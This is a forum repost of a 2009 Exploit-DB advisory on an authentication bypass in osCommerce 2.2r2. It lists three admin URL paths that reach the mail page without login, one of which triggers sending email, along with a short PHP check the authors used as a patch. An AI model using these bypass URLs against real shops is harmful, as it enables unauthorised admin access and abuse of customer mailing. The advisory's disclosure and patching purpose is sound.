Exploit OS Commerce 2.2r2 - Authentication Bypass

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
10096
Проверка EDB
  1. Пройдено
Автор
STUART UDALL
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
N/A
Дата публикации
2009-11-13
Код:
When this hole was brought to our attention, we were amazed to find that it seems nobody has caught it yet!! There is a page in the admin that can be access without login AND can pass parameters!!

/admin/mail.php/login.php
/admin/mail.php/login.php?fooled
/admin/mail.php/login.php?action=send_email_to_user

All work! 

We "patched" this hole by adding this line of code: 

if(strstr($_SERVER['REQUEST_URI'], "/admin/mail.php/login.php" ) !== false){
        echo "<h1>NO ACCESS</h1>";
        exit;
}


Go fix your carts!!!!
 
Источник
www.exploit-db.com

Похожие темы